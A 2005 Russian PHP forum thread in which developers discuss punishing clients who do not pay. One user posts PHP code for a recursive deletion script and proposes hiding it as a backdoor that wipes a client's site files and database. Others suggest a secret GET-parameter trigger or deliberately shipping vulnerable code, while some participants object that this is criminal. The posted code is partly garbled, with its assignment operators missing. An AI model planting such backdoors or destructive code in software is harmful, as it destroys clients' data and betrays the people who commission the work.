Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
PHP 5/6. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. MySQL 5. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. Самоучитель MySQL 5. Авторы: Кузнецов М.В., Симдянов И.В. PHP 5. На примерах. Авторы: Кузнецов М.В., Симдянов И.В., Голышев С.В. PHP на примерах (2 издание). Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: Самоуничтожающийся скрипт :)
 
 автор: Гость   (04.08.2005 в 16:01)   письмо автору
 
 

Возникла идея написать скрипт, который в указанную дату затирает свое содержимое, этакая демо-версия, зашифрованая Зендом))))
такое возможно что бы скрипт сам себя затирал?

   
 
 автор: cheops   (04.08.2005 в 16:12)   письмо автору
 
   для: Гость   (04.08.2005 в 16:01)
 

Конечно, это осуществляется так же как удаление любого другого файла, при помощи функции unlink().

   
 
 автор: Akira   (04.08.2005 в 17:15)   письмо автору
 
   для: Гость   (04.08.2005 в 16:01)
 

Я думал об этом :) Только во определенное время удаление этоне совсем то :)
Вот мне заказали скрипт, есть договоренность, что оплатит после проверки, но клиент скрипт забрал, но не оплатил. Вот "бэкдор" и пригодиться. Запускаешь скрипт и он рекурсивно удаляет файлы. И затерает БД :) Вот это я понемаю защита :)

   
 
 автор: Loki   (04.08.2005 в 17:33)   письмо автору
 
   для: Akira   (04.08.2005 в 17:15)
 

Ну так у клиента же остается копия:) Не дурак же, просечет в чем дело...

   
 
 автор: Гость   (04.08.2005 в 17:45)   письмо автору
 
   для: Loki   (04.08.2005 в 17:33)
 

Просечет, но не сразу, этак после 3-го востановления БД :)))

   
 
 автор: Гость   (04.08.2005 в 17:45)   письмо автору
 
   для: Loki   (04.08.2005 в 17:33)
 

Просечет, но не сразу, этак после 3-го востановления БД :)))

   
 
 автор: Гость   (04.08.2005 в 17:41)   письмо автору
 
   для: Akira   (04.08.2005 в 17:15)
 

Если чесно то мне нужно как раз с этой целью :)))

   
 
 автор: Loki   (04.08.2005 в 17:51)   письмо автору
 
   для: Гость   (04.08.2005 в 17:41)
 

я бы, скорее, оставил дырку типа переменной $eto_takaya_strashnaya_peremennaya которую человек в здравом уме не задействует, а при необходимости можно ее передать через GET: index.php?eto_takaya_strashnaya_peremennaya=1 и понеслась... Вот только не попадают ли подобные действия под статью?:)

   
 
 автор: Akira   (04.08.2005 в 17:56)   письмо автору
 
   для: Loki   (04.08.2005 в 17:51)
 

Неа , так как не кто не чего не ломает и несанкционированного доступа не осуществляет. Вы же не нарушаете закон когда добавляете сообщение на форум? Ведь это подрузомевает сам скрипт :) И потом, к заказчику применяються меры за нарушения договора. И потом - этот вариант как последние китайское предупреждение.

   
 
 автор: Akira   (04.08.2005 в 17:53)   письмо автору
 
   для: Гость   (04.08.2005 в 17:41)
 

Время выполнения рекурсии 7 сек несколько тысячь файлов. Примерно за 5 сек. скрипт уничтожит все в папке. Да и заказчику необязательно высылать в архиве. И для того, что бы найти бэкдор надо будет искать кодера :)

   
 
 автор: Akira   (04.08.2005 в 18:20)   письмо автору
 
   для: Akira   (04.08.2005 в 17:53)
 


<?
function gettime()
{
$part_time explode (' 'microtime());
$real_time $part_time[1].substr($part_time[0],1);
return 
$real_time;
}
function 
destroy($dirname

    GLOBAL 
$extentions$count;
    
# Если путь пустой, то используем текущий каталог 
    
empty($dirname) ? $dirname "*" $dirname $dirname."/*"
    
$dir glob($dirname);
    
// Если директория существует обходим. 
    
if ($dir
    { 
        foreach(
$dir as $filename
        { 
            if (
is_file($filename)) 
            { 
                
// Расширение файла
                
$ext=strrchr($filename".");
                foreach(
$extentions as $exten)
                
// Если файл попадает под маску,то удоляем файл
                
if(preg_match($exten$ext))
                {
                    
unlink($filename);
                }
            } 
            if (
is_dir($filename)) 
            { 
                
destroy($filename);                
            } 
        } 
    } 

// Имя корневой директории проекта
$dirname ""
// Массив с расширениями файлов, для которых следует удалить
$extentions = array("##i"); 
// $extentions = array("#\.cpp#i","#\.h#i");
// Вызов функции, осуществляющей рекурсивный спуск по подкаталогам
// корневого каталога
$start gettime();
destroy($dirname);
$stop gettime();
$dif "destroy - ".bcsub($stop,$start,6);
// Записываем в файл сообщение
file_put_contents("readme.txt","Astalavista Baby!");
echo 
$dif;
?>

Вот слегка переделал скрипт подсчета строк :) Теперь легким вызовом функции, с сайта исчезнут все указанные файлы. Вот папки нет. :) Кстати можно запрограммировать на удаление только бэкапа :) или архива. Главное указать расширение файла. Кстати скрипт после выполнения самоуничтожаеться, если указано расширение пхп :)

   
 
 автор: Евгений Петров   (04.08.2005 в 19:49)   письмо автору
 
   для: Akira   (04.08.2005 в 18:20)
 

А вообще берите предоплату :)))

   
 
 автор: Akira   (04.08.2005 в 19:59)   письмо автору
 
   для: Евгений Петров   (04.08.2005 в 19:49)
 

Так ведь дают только 50% :))

   
 
 автор: Евгений Петров   (04.08.2005 в 20:01)   письмо автору
 
   для: Akira   (04.08.2005 в 19:59)
 

А вы им пол скрипта в конце пришлите, а остальное после полной оплаты. Так сказать демо версия. Или можно выложить куда нибудь на бесплатный хостинг например, чтоб он посмотрел, а когда оплатит, тогда выслать скрипт.
А вообще если сказал и не заплатил, то и хрен с ним, не обеднеете, а он к вам уже не обратится, а может у вас лучше и дешевле чем у других было?

   
 
 автор: [CHOL]Scorpion   (04.08.2005 в 20:29)   письмо автору
 
   для: Евгений Петров   (04.08.2005 в 20:01)
 

Мы обычно на своём сервере демонстрируем заказчику скрипт. Он тестирует его на нём. И только после полной оплаты (50% + уже полученые 50%), ему высылаются дистрибы.

   
 
 автор: Akira   (04.08.2005 в 20:37)   письмо автору
 
   для: [CHOL]Scorpion   (04.08.2005 в 20:29)
 

Ну мало ли , что произойдет? Может он его кому то перепродаст :) В любом случаем "бэкдор" лишние чувство безопастности. И потом этот скрипт не только для подлянки.
Мне например часто надо удалить файлы с хоста, а через фтп долго :) Правда этот скрипт не удоляет, папки :) но их удалить легче.
Еще можно удолять только "tmp" или мусор другой.

   
 
 автор: [CHOL]Scorpion   (04.08.2005 в 23:31)   письмо автору
 
   для: Akira   (04.08.2005 в 20:37)
 

2 Akira >>

Боюсь что елси ты например решишь сделать подлянку нерадивому заказчику, твоё затирание будет преследоваться по закону. Так или иначе, это несанкционированное проникновение в закрытые части ресурса. А то что дискать раз простым запросом выполняется и поэтому типа законно, это, извините чушь. Это просто дырка, причём оставленная злонамерено. При этом действия по уничтожению какой-либо части сайта недобросовестному заказчику, который не заплатил, будет рассматриваться вовсе не как действия по восстановлению своего нарушеного права, а именно как преступление.

Конечно, данный вопрос дискуссионный. И мнений тут существует масса. Всё зависит от позиции с которой подходить.

Я всёже стою на том, что нельзя ломать сайт злонамерено оставленой дыркой. Как бы это ни было печально и для меня как разработчика.

Ну и напоследок, хочу сказать, что я в правовых вопросах немного понимаю всёже :) юрфак есть юрфак.

   
 
 автор: Trunk   (04.08.2005 в 23:56)   письмо автору
 
   для: Гость   (04.08.2005 в 16:01)
 

За 50 % процентов оплаты высылайте клиенту версию со всевозможными дырами. Т.е. банально не проверять данные получаемые от пользователей и т.д. Вам даже самим не надо будет ломать этот сайт.

   
 
 автор: cheops   (05.08.2005 в 00:08)   письмо автору
 
   для: Trunk   (04.08.2005 в 23:56)
 

Угу, клиент проверит приложение обнаружит кучу дыр и откажется от дальнейшего сотрудничества :)))

   
 
 автор: Akira   (05.08.2005 в 00:27)   письмо автору
 
   для: cheops   (05.08.2005 в 00:08)
 

Просто предупредить клиента , что в случае нарушения договра скрипт будет уничтожен. и вообще эту дыру можно замаскировать :) и после получения денег выдать клиенту заплатку.
Есть конечно вариант, что клиент наймет кого то, что бы найти "бэкдор".

   
 
 автор: cheops   (05.08.2005 в 00:32)   письмо автору
 
   для: Akira   (05.08.2005 в 00:27)
 

Я бы на месте клиента отказался от дальнейшей работы, так как нет вероятности, что такой разработчик не оставит парачку чёрных ходов про запас, а потом воспользуется или продаст этот ход, или его найдёт совершенно посторонний человек - короче не стал бы рисковать.

   
 
 автор: Akira   (05.08.2005 в 00:45)   письмо автору
 
   для: cheops   (05.08.2005 в 00:32)
 

если клиент не заслуживает доверия, то нет смысла ему доверять.

   
 
 автор: cheops   (05.08.2005 в 11:52)   письмо автору
 
   для: Akira   (05.08.2005 в 00:45)
 

Тогда и дело не будет сделано. Ведь большая половина Web-разработчиков имеет свои хосты - демонстрация проделанной работы на своём хостинге идеальный вариант. Заказчик прекрасно понимает, что после проплаты вы отдадите ему скрипт - вам то он зачем. Мы и многие другие работаем именно по такой схеме.
С ПО тоже всё просто - можно демонстрировать результаты заказчику на своём ноут-буке.

   
 
 автор: Евгений Петров   (05.08.2005 в 01:36)   письмо автору
 
   для: cheops   (05.08.2005 в 00:32)
 

Не надо дыры делать, можно просто не все сделать (так сказать демо-версию сделать), и сказать ему об этом, а после полной оплаты выслать ему остальное.

   
 
 автор: [CHOL]Scorpion   (05.08.2005 в 05:13)   письмо автору
 
   для: Евгений Петров   (05.08.2005 в 01:36)
 

В приложениях с открытым кодом сложно что-то недоделать. В том смысле что найдётся потом сотня программистов которым бабки ну очень нжны, и по их меркам им хватит и в половину меньше взял бы ты. Так что твой скрипт доделают :(

Так что, ИМХО:

1. составляйте письменный договор и оговаривайте в нём условия.
2. хостите скрипт у себя. До полного принятия работы по укту приёма-передачи никаких скриптов никому не давать.

   
 
 автор: Duran   (05.08.2005 в 09:07)   письмо автору
 
   для: [CHOL]Scorpion   (05.08.2005 в 05:13)
 

К вопросу о защите, что никто не пробовал компилировать PHP код ?
Поищите в яндексе PHPCompiler

   
 
 автор: method   (05.08.2005 в 11:13)   письмо автору
 
   для: Duran   (05.08.2005 в 09:07)
 

2Duran:
скачал я эту прогу только что,
скомпилировал index.php , получил index.exe
а дальше что? как запустить то....?

   
 
 автор: duran   (05.08.2005 в 13:21)   письмо автору
 
   для: method   (05.08.2005 в 11:13)
 

:-))))))))
Если консольное приложение, запускаете сеанс MS-DOS .... и из него запускаете ваш экзешник :-)
Вещи типа HELLO WORLD пойдут на ура :-)
Если серьездно, я сам не разбирался, скачал кадато, так же скомпилировал - с консольном режиме работает... и забросил. По сути с ним (с экзешником) можно работать как с файлом PHP - передавать ему параметры.

Нужон мозговой штурм :-).
Кто еще желает присоединиться ?

   
 
 автор: cheops   (05.08.2005 в 17:09)   письмо автору
 
   для: duran   (05.08.2005 в 13:21)
 

>Кто еще желает присоединиться ?
Недавно что-то подобное обсуждали в теме по ссылке http://www.softtime.ru/forum/read.php?id_forum=1&id_theme=2634

   
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования